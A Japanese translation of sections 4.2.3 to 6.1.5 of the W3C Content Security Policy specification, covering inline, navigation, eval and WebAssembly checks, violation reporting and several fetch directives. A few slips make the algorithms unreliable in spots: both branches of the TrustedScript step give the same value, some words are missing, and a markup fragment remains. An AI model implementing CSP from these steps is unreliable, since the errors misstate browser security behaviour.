4.2.3. element のインライン type 挙動はContent Security Policyでブロックされるべきか?

Element element、文字列 type、文字列 source が与えられた場合、このアルゴリズムは要素が特定の型のインライン定義(スクリプト実行、スタイル適用、イベントハンドラ等)を許可されているなら "Allowed" を、そうでなければ "Blocked" を返します:

注: type の有効な値は "script"、"script attribute"、"style"、"style attribute" です。

  1. Assert: element は null ではない。

  2. result を "Allowed" とする。

  3. それぞれ elementDocumentグローバルオブジェクトCSPリストポリシーpolicy について:

    1. それぞれ policyディレクティブセットdirective について:

      1. directiveインラインチェックelementtypepolicysource で実行し、結果が "Allowed" なら、次の directive へ進む。

      2. directive-name§ 6.8.2 インラインチェックで有効なディレクティブ取得type で実行した結果とする。

      3. そうでなければ violation§ 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成現在の設定オブジェクトグローバルオブジェクトpolicydirective-name で実行した結果とする。

      4. violationリソース を "inline" に設定する。

      5. violation要素element に設定する。

      6. directive が 表現 "'report-sample'" を 含む場合、 violationサンプルsource の先頭40文字の部分文字列に設定する。

      7. § 5.5 違反報告violation で実行する。

      8. policyディスポジション が "enforce" なら、 result を "Blocked" に設定する。

  4. result を返す。

4.2.4. navigation requesttype はContent Security Policyでブロックされるべきか?

リクエスト navigation request と文字列 type ("form-submission" または "other")が与えられた場合、このアルゴリズムは有効なポリシーがナビゲーションをブロックする場合 "Blocked" を、そうでなければ "Allowed" を返します:

  1. result を "Allowed" とする。

  2. CSPリストnavigation requestポリシーコンテナCSPリストポリシーとする。

  3. それぞれ CSPリストポリシーpolicyについて:

    1. それぞれ policydirectiveについて:

      1. directive事前ナビゲーションチェックnavigation requesttypepolicyCSPリストself-origin で実行し、結果が"Allowed"なら、次の directive へ進む。

      2. そうでなければ violation§ 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成navigation requestクライアントグローバルオブジェクトpolicydirective名前で実行した結果とする。

      3. violationリソースnavigation requestURL に設定する。

      4. § 5.5 違反報告violation で実行する。

      5. policyディスポジション が "enforce" なら、 result を "Blocked" に設定する。

  4. result が "Allowed" かつ navigation requestcurrent URLスキームjavascript の場合:

    1. それぞれ navigation requestポリシーコンテナCSPリストポリシーpolicy について:

      1. それぞれ policydirective について:

        1. directive-name§ 6.8.2 インラインチェックで有効なディレクティブ取得 を "navigation" で実行した結果とする。

        2. directiveインラインチェックを null, "navigation", policynavigation requestcurrent URL で実行し、結果が "Allowed" なら次の directive へ進む。

        3. そうでなければ violation§ 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成navigation requestクライアントグローバルオブジェクトpolicydirective-name で実行した結果とする。

        4. violationリソース を "inline" に設定する。

        5. § 5.5 違反報告violation で実行する。

        6. policyディスポジション が "enforce" なら、 result を "Blocked" に設定する。

  5. result を返す。

4.2.5. navigation requesttypetarget への navigation response はContent Security Policyでブロックされるべきか?

リクエスト navigation requestレスポンス navigation responseCSPリスト response CSP list、文字列 type("form-submission" または "other")、ナビゲーブル target を与えると、 このアルゴリズムは、アクティブなポリシーがナビゲーションをブロックした場合は"Blocked"、そうでなければ"Allowed"を返します。

  1. result を "Allowed" とする。

  2. それぞれ response CSP listポリシーpolicy について:

    注: 一部のディレクティブ(例:frame-ancestors)は、responseContent Security Policy がナビゲーションに影響を与えることがあります。

    1. それぞれ policydirective について:

      1. directiveナビゲーションレスポンスチェックnavigation requesttypenavigation responsetarget・"response"・policyresponse CSP listself-origin で実行し、結果が"Allowed"なら、次のdirectiveへ進む。

      2. そうでなければ violation§ 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成 を null・policydirective名前 で実行した結果とする。

        注: グローバルオブジェクトにはnullを使います(対象のDocumentをまだ生成していないため)。

      3. violationリソースnavigation responseURL に設定する。

      4. § 5.5 違反報告violation で実行する。

      5. policyディスポジション が"enforce"なら、 result を"Blocked" に設定する。

  3. それぞれ navigation requestポリシーコンテナCSPリストポリシーpolicy について:

    注: navigation request のコンテキストにある一部のディレクティブ(例:frame-ancestors)は、ナビゲーションの前に response を必要とします。

    1. それぞれ policydirective について:

      1. directiveナビゲーションレスポンスチェックnavigation requesttypenavigation responsetarget・"source"・policyresponse CSP listself-origin で実行し、結果が"Allowed"なら、次のdirectiveへ進む。

      2. そうでなければ violation§ 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成navigation requestクライアントグローバルオブジェクトpolicydirective名前 で実行した結果とする。

      3. violationリソースnavigation requestURL に設定する。

      4. § 5.5 違反報告violation で実行する。

      5. policyディスポジション が"enforce"なら、 result を"Blocked" に設定する。

  4. result を返す。

4.2.6. グローバルオブジェクトのためにCSP初期化を実行する

グローバルオブジェクト globalが与えられた場合、ユーザーエージェントはglobalのCSPを初期化するために次の手順を実行します。このアルゴリズムはglobalが許可されていれば"Allowed"を、そうでなければ"Blocked"を返します:

  1. result を "Allowed" とする。

  2. それぞれ globalCSPリストポリシーpolicy について:

    1. それぞれ policydirective について:

      1. directive初期化アルゴリズムを globalpolicy で実行する。その返り値が "Blocked" の場合、result を "Blocked" に設定する。

  3. result を返す。

4.3. WebRTCとの統合

administratively-prohibitedアルゴリズムは、呼び出し時に§ 4.3.1 グローバルのRTC接続をブロックすべきか?を呼び出し、"Blocked"を返した場合は全ての候補を禁止します。

4.3.1. globalのRTC接続はブロックされるべきか?

グローバルオブジェクト globalが与えられた場合、このアルゴリズムはglobalの有効なポリシーがRTC接続をブロックする場合は"Blocked"、そうでなければ"Allowed"を返します:

  1. result を "Allowed" とする。

  2. それぞれ globalCSPリストポリシーpolicy について:

    1. それぞれ policydirective について:

      1. directiveWebRTC接続前チェックpolicy で実行し、結果が "Allowed" なら continue

      2. そうでなければ violation§ 2.4.1 グローバル・ポリシー・ディレクティブの違反オブジェクト作成globalpolicydirective名前 で実行した結果とする。

      3. violationリソース を null に設定する。

      4. § 5.5 違反報告violation で実行する。

      5. policyディスポジション が "enforce" なら、 result を "Blocked" に設定する。

  3. result を返す。

4.4. ECMAScriptとの統合

ECMAScriptはHostEnsureCanCompileStrings() 抽象操作を定義しており、ホスト環境が文字列のECMAScriptコードへのコンパイルをブロックできるようにしています。本書は、その抽象操作の実装として、関連するCSPリストを調べ、コンパイルがブロックされるべきかどうかを判断します。

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

realm realm、文字列のリスト parameterStrings、文字列 bodyString、文字列 codeString、列挙型 (compilationType)、 ECMAScript言語値のリスト (parameterArgs)、ECMAScript言語値 (bodyArg) が与えられた場合、このアルゴリズムは文字列コンパイルが許可されるなら通常通り返し、許可されないなら"EvalError"を投げます:

  1. compilationType が "TIMER" の場合:

    1. sourceStringcodeString とする。

  2. それ以外の場合:

    1. compilationSinkcompilationType が "FUNCTION" なら"Function"、それ以外なら"eval"とする。

    2. isTrustedbodyArgTrustedScript実装していればtrue、そうでなければfalseとする。

    3. isTrusted が true なら:

      1. bodyStringbodyArgdataと等しくない場合、isTrusted を false に設定する。

    4. isTrusted が true なら:

      1. 保証:parameterArgsの[list/size=]は[parameterStrings]のsizeと等しい。

      2. index範囲0~|parameterArgs|の間で:

        1. argparameterArgs[index] とする。

        2. argTrustedScript実装している場合:

          1. parameterStrings[index] が argdataと等しくない場合、isTrustedをfalseにする。

        3. それ以外の場合、isTrustedをfalseにする。

    5. sourceToValidate新規TrustedScript オブジェクトとしてrealmで生成し、dataプロパティはisTrustedがtrueならcodeString、そうでなければcodeStringとする。

    6. sourceString は、get trusted type compliant string アルゴリズムを TrustedScriptrealmsourceToValidatecompilationSink、および 'script' で実行した結果である。

    7. このアルゴリズムがエラーを投げた場合はEvalErrorを投げる。

    8. sourceStringcodeStringと等しくない場合はEvalErrorを投げる。

  3. result を "Allowed" とする。

  4. globalrealmグローバルオブジェクトとする。

  5. それぞれ globalCSPリストポリシーpolicy について:

    1. source-list を null とする。

    2. policyディレクティブで名前が"script-src"であるものを含めば、source-listをそのディレクティブに設定する。

      それ以外でpolicyが名前が"default-src"であるディレクティブを含めば、source-listをそのディレクティブのに設定する。

    3. source-listがnullでなければ:

      1. trustedTypesRequired は、does sink type require trusted types?realm'script'false で実行した結果である。

      2. trustedTypesRequiredがtrueで、source-listソース式で"'trusted-types-eval'"とASCII大文字・小文字を区別しない一致を含む場合、以降の手順をスキップする。

      3. source-listソース式で"'unsafe-eval'"とASCII大文字・小文字を区別しない一致を含む場合、以降の手順をスキップする。

      4. violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成globalpolicy、"script-src"で実行した結果とする。

      5. violationresource を "eval" に設定する。

      6. source-listが"'report-sample'"を含む場合、violationsamplesourceStringの先頭40文字に設定する。

      7. § 5.5 違反を報告するviolation に対して実行する。

      8. policyディスポジション が "enforce" ならresultを"Blocked"に設定する。

  6. resultが"Blocked"なら、EvalError例外を投げる。

4.5. WebAssemblyとの統合

WebAssemblyはHostEnsureCanCompileWasmBytes() 抽象操作を定義しており、ホスト環境がWebAssemblyソースの実行可能コードへのコンパイルをブロックできるようにしています。本書は、この抽象操作の実装として、関連するCSPリストを調べ、コンパイルがブロックされるべきかどうかを判断します。

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

realm realmが与えられた場合、このアルゴリズムはコンパイルが許可されていれば通常通り返し、許可されなければWebAssembly.CompileError を投げます:

  1. globalrealmグローバルオブジェクトとする。

  2. result を "Allowed" とする。

  3. それぞれ globalCSPリストポリシーpolicy について:

    1. source-list を null とする。

    2. policyディレクティブで名前が"script-src"であるものを含めば、source-listをそのディレクティブに設定する。

      それ以外でpolicyが名前が"default-src"であるディレクティブを含めば、source-listをそのディレクティブのに設定する。

    3. source-listがnullでなく、かつソース式で"'unsafe-eval'"とのASCII大文字・小文字を区別しない一致を含まず、"'wasm-unsafe-eval'"とのASCII大文字・小文字を区別しない一致も含まない場合:

      1. violation§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト作成globalpolicy、"script-src"で実行した結果とする。

      2. violationresource を "wasm-eval" に設定する。

      3. § 5.5 違反を報告するviolation に対して実行する。

      4. policyディスポジション が "enforce" ならresultを"Blocked"に設定する。

  4. resultが"Blocked"ならWebAssembly.CompileError 例外を投げる。

5. 報告

1つ以上のポリシーのディレクティブが違反された場合、CSP違反レポートが生成され、ポリシー に関連するレポートエンドポイントに送信されることがあります。

CSP違反レポートレポートタイプ "csp-violation" を持ちます。

CSP違反レポートReportingObserver から可視です。

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

スクリプト系宛先に影響するディレクティブに report-sha256report-sha384report-sha512値が設定されていて、 スクリプト系 宛先requestがフェッチされると、 CSPハッシュレポートが生成され、 ポリシーに関連するレポートエンドポイントに送信されます。

CSPハッシュレポートレポートタイプ "csp-hash" を持ちます。

CSPハッシュレポートReportingObserver からは見えません。

CSPハッシュレポートボディ構造体で以下のフィールドを持ちます: documentURLsubresourceURLhashdestinationtype

文書のレスポンスに次のヘッダーが含まれている場合:
Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint
そして文書がスクリプト "main.js" をロードすると、次のようなレポートが送信されます:
POST /reports HTTP/1.1
Host: example.com
...
Content-Type: application/reports+json

[{
  "type": "csp-hash",
  "age": 12,
  "url": "https://example.com/",
  "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
  "body": {
    "document_url": "https://example.com/",
    "subresource_url": "https://example.com/main.js",
    "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
    "type": "subresource",
    "destination": "script"
  }
}]

5.1. 違反DOMイベント

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. 違反のresourceblockedURIを取得する

違反のresource resourceが与えられた場合、このアルゴリズムは違反レポート用のblocked URIフィールドとして使用する文字列を返します。

  1. 保証:resourceURLまたは文字列である。

  2. resourceURLなら、§ 5.4 違反レポート用URLの除去resourceに対して実行した結果を返す。

  3. resourceを返す。

5.3. violationの非推奨シリアライズを取得する

違反 violationが与えられた場合、このアルゴリズムは違反のJSONテキスト文字列表現を返します。これは非推奨のreport-uriディレクティブに関連付けられた報告エンドポイントへの送信に適した形式です。

  1. bodyを、以下のキーで初期化されたマップとする:

    "document-uri"

    § 5.4 違反レポート用URLの除去violationurlに対して実行した結果。

    "referrer"

    § 5.4 違反レポート用URLの除去violationreferrerに対して実行した結果。

    "blocked-uri"

    § 5.2 違反のresourceのblockedURIを取得するviolationresourceに対して実行した結果。

    "effective-directive"

    violation有効ディレクティブ

    "violated-directive"

    violation有効ディレクティブ

    "original-policy"

    violationpolicy直列化

    "disposition"

    violationpolicyディスポジション

    "status-code"

    violationstatus

    "script-sample"

    violationsample

    注: script-sampleという名前はこの機能の初期実装時にFirefoxで実装された従来仕様との互換性のために選ばれました。名前に関わらず、このフィールドはスタイルシートなどのスクリプト以外の違反サンプルも含みます。 SecurityPolicyViolationEvent オブジェクトおよび新しいreport-toディレクティブによるレポートでは、より包括的な名前sampleが使われます。

  2. violationsource fileがnullでない場合:

    1. body["source-file"]を§ 5.4 違反レポート用URLの除去violationsource fileに対して実行した結果に設定する。

    2. body["line-number"]をviolation行番号に設定する。

    3. body["column-number"]をviolation列番号に設定する。

  3. 保証:body["blocked-uri"]が"inline"でない場合、body["sample"]は空文字列である。

  4. infra値をJSONバイト列にシリアライズを «[ "csp-report" → body ]» に対して実行した結果を返す。

5.4. 違反レポート用URLの除去

urlURLの場合、このアルゴリズムは違反レポート用のURLを表す文字列を返します:
  1. urlschemeHTTP(S) schemeでない場合、urlschemeを返す。

  2. urlfragmentを空文字列に設定する。

  3. urlusernameを空文字列に設定する。

  4. urlpasswordを空文字列に設定する。

  5. URL serializerurlに対して実行した結果を返す。

5.5. violationを報告する

違反 violationが与えられた場合、このアルゴリズムはviolationpolicyで指定されたエンドポイントへ報告し、 SecurityPolicyViolationEventviolationelementまたはviolationグローバルオブジェクトで発火します。詳細は以下の通りです:

  1. globalviolationグローバルオブジェクトとする。

  2. targetviolationelementとする。

  3. タスクをキューに追加して、以下の手順を実行する:

    注: ここで「タスクをキューに追加」するのは、イベントのターゲット決定とディスパッチが、違反を引き起こしたJavaScriptによるDOM操作などのタスク完了後に行われるようにするためです。

    1. targetがnullではなく、globalWindowであり、 targetshadow-including rootglobal関連付けられたDocumentでない場合、targetをnullに設定する。

      注: この手順は、違反イベントがviolationpolicyDocumentに接続されている要素にのみ発火されるようにします。 要素がそのドキュメントに接続されていない場合、イベントはその要素ではなくドキュメント自体に発火され、違反がドキュメントのリスナーにも認知されるようになります。

    2. targetがnullの場合:

      1. targetviolationグローバルオブジェクトに設定する。

      2. targetWindowの場合、targettarget関連付けられたDocumentに設定する。

    3. targetEventTarget実装している場合、 イベントsecuritypolicyviolationSecurityPolicyViolationEvent インターフェースでtargetに発火し、属性は以下の通り初期化する:

      documentURI

      § 5.4 違反レポート用URLの除去violationurlに対して実行した結果。

      referrer

      § 5.4 違反レポート用URLの除去violationreferrerに対して実行した結果。

      blockedURI

      § 5.2 違反のresourceのblockedURIを取得するviolationresourceに対して実行した結果。

      effectiveDirective

      violation有効ディレクティブ

      violatedDirective

      violation有効ディレクティブ

      originalPolicy

      violationpolicy直列化

      disposition

      violationディスポジション

      sourceFile

      violationsource fileがnullでなければ§ 5.4 違反レポート用URLの除去violationsource fileに対して実行した結果、そうでなければnull。

      statusCode

      violationstatus

      lineNumber

      violation行番号

      columnNumber

      violation列番号

      sample

      violationsample

      bubbles

      true

      composed

      true

      注: composed 属性をtrueにすることで、このイベントはシャドウツリーへの進入時にもキャプチャされ、シャドウツリーからのバブル時にもバブルします。targetなどはメインツリーに対して正しくスコープされます。

      注: effectiveDirectiveviolatedDirective の値は同じです。これは後方互換性を維持するための仕様です。

    4. もしviolationpolicydirective setが、"report-uri"という名前のdirective directiveを含む場合:

      1. もしviolationpolicydirective setが、 "report-to"という名前のdirectiveを含む場合、残りのサブステップをスキップする。

      2. tokendirectiveから順に:

        1. endpointURL parsertokenを入力、violationurlを基底URLとして実行した結果とする。

        2. endpointが有効なURLでなければ残りのサブステップをスキップ。

        3. requestを新しいリクエストとして以下で初期化する:

          method

          "POST"

          url

          endpoint

          origin

          violationグローバルオブジェクトrelevant settings objectorigin

          traversable for user prompts

          "no-traversable"

          client

          violationグローバルオブジェクトrelevant settings object

          destination

          "report"

          initiator

          ""

          credentials mode

          "same-origin"

          keepalive

          "true"

          header list

          ヘッダーリストに1つのヘッダー(名前"Content-Type"、値"application/csp-report")を含める。

          body

          § 5.3 非推奨違反シリアライズ取得violationへ実行した結果。

          redirect mode

          "error"

          注: requestmodeはデフォルトで"no-cors"になり、レスポンスは完全に無視されます。

        4. Fetch request。結果は無視される。

      注: この処理は全て非推奨です。違反ごとにリクエストが送信されるため、スケーラビリティに欠けます。可能になり次第、ユーザーエージェントから削除されるべきです。

      注: report-uriは、report-toが存在しない場合のみ有効です。つまり、後者が前者を上書きし、新しい仕組みをサポートしないブラウザとの後方互換性が保たれます。

    5. もしviolationpolicydirective setが、"report-to"という名前のdirective directiveを含む場合:

      1. bodyを新しいCSPViolationReportBodyとして以下で初期化:

        documentURL

        § 5.4 違反レポート用URLの除去violationurlに対して実行した結果。

        referrer

        § 5.4 違反レポート用URLの除去violationreferrerに対して実行した結果。

        blockedURL

        § 5.2 違反のresourceのblockedURIを取得するviolationresourceに対して実行した結果。

        effectiveDirective

        violation有効ディレクティブ

        originalPolicy

        violationpolicy直列化

        sourceFile

        violationsource fileがnullでなければ§ 5.4 違反レポート用URLの除去violationsource fileに対して実行した結果、そうでなければnull。

        sample

        violationsample

        disposition

        violationディスポジション

        statusCode

        violationstatus

        lineNumber

        violation行番号violationsource fileがnullでなければ)、そうでなければnull。

        columnNumber

        violation列番号violationsource fileがnullでなければ)、そうでなければnull。

      2. settings objectviolationグローバルオブジェクトrelevant settings objectとする。

      3. Generate and queue a reportを次の引数で実行:

        context

        settings object

        type

        "csp-violation"

        destination

        directive

        data

        body

6. コンテンツセキュリティポリシー指令

この仕様は、開発者がサイトの挙動の特定側面を制御できるようにする複数種の指令を定義します。本書ではリソース取得を制御する指令(§ 6.1 取得指令)、文書状態を制御する指令(§ 6.3 文書指令)、ナビゲーション挙動を制御する指令(§ 6.4 ナビゲーション指令)、報告を制御する指令(§ 6.5 報告指令)を定義します。これらはContent Security Policyの中核を成します。他の指令は補助文書でモジュール的に定義されます(例は§ 6.6 他文書で定義される指令参照)。

クロスサイトスクリプティング攻撃のリスク軽減のため、ウェブ開発者はスクリプトやプラグインのソースを規制する指令を含めるべきです(SHOULD)。具体的には:

いずれの場合も、'unsafe-inline'data:を有効なソースとしてポリシーに含めるべきではありません(SHOULD NOT)。これらはいずれもドキュメント内に直接コードを含めることを許すため、XSS攻撃を容易にします。完全に回避するのが最良です。

6.1. 取得指令

取得指令は、特定のリソース種別をどの場所からロードできるかを制御します。例えば、script-srcは信頼できるスクリプトソースのみページで実行できるようにし、font-srcはウェブフォントのソースを制御します。

6.1.1. child-src

child-src指令は、子ナビゲーション(例: iframeframeナビゲーション)やワーカー実行コンテキストの生成を制御します。指令名と値の構文は次のABNFで表されます:

directive-name  = "child-src"
directive-value = serialized-source-list

この指令は、フレームやワーカーを生成するリクエストを制御します。より形式的には、次のカテゴリのリクエストです:

以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: child-src https://example.com/

以下のコードによるフェッチは全てネットワークエラーとなります。指定したURLがchild-srcソースリストと一致しないためです:

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src 事前リクエストチェック

このディレクティブの事前リクエストチェックは次の通りです:

リクエスト requestポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namechild-srcpolicyで実行した結果が"No"の場合、 "Allowed"を返す。

  3. 事前リクエストチェックを、ディレクティブ名前nameのものに対して、requestpolicyself-originを渡して、このディレクティブのを比較用として実行した結果を返す。

6.1.1.2. child-src 事後リクエストチェック

このディレクティブの事後リクエストチェックは次の通りです:

リクエスト requestレスポンス responseポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namechild-srcpolicyで実行した結果が"No"の場合、 "Allowed"を返す。

  3. 事後リクエストチェックを、ディレクティブ名前nameのものに対して、requestresponsepolicyself-originを渡して、このディレクティブのを比較用として実行した結果を返す。

6.1.2. connect-src

connect-src指令は、スクリプトインターフェースでロード可能なURLを制限します。指令名と値の構文は次のABNFで表されます:

directive-name  = "connect-src"
directive-value = serialized-source-list

この指令は、他オリジンからデータ送受信を行うリクエストを制御します。API例:fetch()[XHR][EVENTSOURCE][BEACON]aping属性など。この指令はFetchの一部ではありませんが、WebSocket [WEBSOCKETS]接続も制御します。

JavaScriptには外部サーバーと直接接続して情報送受信できる仕組みが複数あります。EventSourceはサーバーとのHTTP接続を維持してプッシュ通知を受け取り、WebSocketsは双方向通信チャネルを開き、XMLHttpRequestは任意のHTTPリクエストを送信します。これらは便利ですが、データ流出の経路にもなり得ます。

connect-src指令を使うことで、これらや類似の接続を信頼できるオリジンのみに限定できます。例えば、https://example.comへの接続だけ許可したい場合は次のヘッダーを送信します:

Content-Security-Policy: connect-src https://example.com/

以下のコードによるフェッチは全てネットワークエラーとなります。指定URLがconnect-srcソースリストと一致しないためです:

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

リクエスト requestポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストに対して有効なディレクティブを取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブを実行すべきかnameconnect-srcpolicyで実行した結果が"No"の場合、 "Allowed"を返す。

  3. source listをディレクティブのとする。

  4. requestmodeが"webtransport"で、 requestWebTransport-hashリスト空でない場合:

    1. source list含む ソース式が、 ASCII大文字小文字区別なしkeyword-source "'unsafe-webtransport-hashes'"に一致する場合、"Allowed"を返す。

    2. "Blocked"を返す。

  5. § 6.7.2.5 リクエストがソースリストに一致するかrequestsource listself-originで実行した結果が"Matches"の場合、"Allowed"を返す。

  6. "Blocked"を返す。

6.1.2.2. connect-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

リクエスト requestレスポンス responseポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定nameconnect-srcpolicyで実行した結果が"No"の場合、 "Allowed"を返す。

  3. source listをディレクティブのとする。

  4. requestmodeが"webtransport"で、 requestWebTransport-hashリスト空でない場合:

    1. source list含む ソース式ASCII大文字小文字区別なしkeyword-source "'unsafe-webtransport-hashes'"に一致する場合、 "Allowed"を返す。

    2. "Blocked"を返す。

  5. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequestsource listself-originで実行した結果が"Matches"の場合、 "Allowed"を返す。

  6. "Blocked"を返す。

6.1.3. default-src

default-src指令は、他の取得指令のフォールバックとして機能します。指令名と値の構文は次のABNFで表されます:

directive-name  = "default-src"
directive-value = serialized-source-list

default-src指令がポリシーに含まれていれば、その値がポリシーのデフォルトソースリストとして使われます。例えば、default-src 'none'; script-src 'self'の場合、スクリプトリクエストは'self'をソースリストとして用い、それ以外のリクエストは'none'を用います。詳細は§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?および§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?アルゴリズム参照。

prefetchpreconnectなどのリソースヒントは、特定の取得指令に紐づかず、ポリシー内全指令のソースリストの和集合で許可サーバーが決まります。default-srcがなければ、これらのリクエストは常に許可されます。詳細は§ 8.6 情報流出参照。[HTML]
次のヘッダー:
Content-Security-Policy: default-src 'self'

は、次のヘッダーと同じ挙動になります:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

つまり、default-srcが設定されていれば、明示的に設定されていない取得指令は全てdefault-srcの値をフォールバックとして使います。

継承はありません。例えばscript-src指令が明示的に指定されていれば、default-srcの値はスクリプトリクエストには影響しません。つまり、以下のヘッダー:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

は、次のヘッダーと同じ挙動になります:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

この挙動から、サイト用ポリシーを構築する良い方法は、まずdefault-src'none'とし、必要なリソース種別のみ個別に許可するポリシーを積み上げることです。

6.1.3.1. default-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

リクエスト requestポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namedefault-srcpolicyで実行した結果が"No"の場合、 "Allowed"を返す。

  3. 事前リクエストチェックを、 ディレクティブ名前nameのものに対して、requestpolicyself-originを渡し、このディレクティブの で比較した結果を返す。

6.1.3.2. default-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

リクエスト requestレスポンス responseポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namedefault-srcpolicyで実行した結果が"No"の場合、"Allowed"を返す。

  3. 事後リクエストチェックを、 ディレクティブ名前nameであるものに対して、 requestresponsepolicyself-originを渡し、このディレクティブのを比較用として実行した結果を返す。

6.1.3.3. default-src インラインチェック

この指令のインラインチェックアルゴリズムは以下の通り:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamedefault-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. それ以外の場合、この指令のインラインチェックを、nameという名前指令に対してelementtypepolicysourceで実行し、この指令のを比較用に用いて返す。

6.1.4. font-src

font-src指令は、フォントリソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "font-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: font-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定したURLがfont-srcソースリストと一致しないためです:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通り:

リクエスト requestポリシー policyオリジン self-origin が与えられた場合:

  1. name§ 6.8.1 リクエストに対して有効なディレクティブ取得request で実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namefont-srcpolicy で実行した結果が "No" の場合、"Allowed" を返す。

  3. § 6.7.2.5 リクエストがソースリストに一致しているか?request、このディレクティブの self-originで実行した結果が "Does Not Match" の場合、"Blocked" を返す。

  4. "Allowed" を返す。

6.1.4.2. font-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

リクエスト requestレスポンス responseポリシー policyオリジン self-originが与えられた場合:

  1. name§ 6.8.1 リクエストで有効なディレクティブ取得requestで実行した結果とする。

  2. § 6.8.4 fetchディレクティブ実行判定namefont-srcpolicyで実行した結果が"No"の場合、 "Allowed"を返す。

  3. § 6.7.2.6 リクエストへのレスポンスがソースリストに一致するかresponserequest・このディレクティブのself-originで実行した結果が "Does Not Match"の場合、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.5. frame-src

